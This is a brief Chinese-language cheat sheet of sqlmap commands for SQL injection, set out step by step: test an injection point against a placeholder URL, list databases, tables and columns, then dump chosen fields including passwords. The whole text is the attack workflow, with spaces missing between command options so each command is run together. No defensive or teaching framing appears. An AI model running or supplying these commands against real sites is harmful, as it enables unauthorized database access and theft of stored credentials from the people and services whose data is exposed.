注入步骤：检查注入点sqlmap-uhttp://url列数据库信息sqlmap-uhttp://url--dbs指定库名列出所有表sqlmap-uhttp://url-Ddbname--tables指定库名表名列出所有字段sqlmap-uhttp://url-Ddbname-Ttablename--columns指定库名表名字段dump出指定字段sqlmap-uhttp://url-Ddbname-Ttablename-Cac,id,password--dump